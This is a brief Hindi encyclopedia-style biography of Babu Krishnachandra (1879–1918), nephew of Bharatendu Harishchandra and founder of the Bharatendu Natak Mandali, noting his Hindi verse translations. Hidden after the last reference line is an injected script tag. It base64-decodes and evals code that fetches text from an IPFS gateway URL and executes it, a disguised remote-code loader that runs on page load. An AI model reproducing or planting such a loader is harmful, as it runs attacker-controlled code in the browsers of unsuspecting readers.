बाबू कृष्णचन्द्र
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बाबू कृष्णचन्द्र (जन्म- 1879, काशी, उत्तर प्रदेश; मृत्यु- 1918) हिन्दी की बहुमूल्य सेवा करने वाले तथा प्रसिद्धि प्राप्त भारतेन्दु हरिश्चन्द्र के भतीजे थे। ये ‘भारतेन्दु नाटक मंडली’ के संस्थापक थे और आजीवन उसके संरक्षक रहे।[1]
- बाबू कृष्णचन्द्र ने ‘वाल्मीकि रामायण’ के ‘सुन्दरकाण्ड' और भवभूति के ‘उत्तर रामचरित’ का हिन्दी में पद्यान्वाद किया था। इनका प्रकाशन क्रमशः सन 1907 और 1916 में हुआ था।
- मात्र 39 वर्ष की अल्पायु में (1918) को इनका निधन हुआ।
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टीका टिप्पणी और संदर्भ
- ↑ काशी के साहित्यकार (हिन्दी)। । अभिगमन तिथि: 11 जनवरी, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>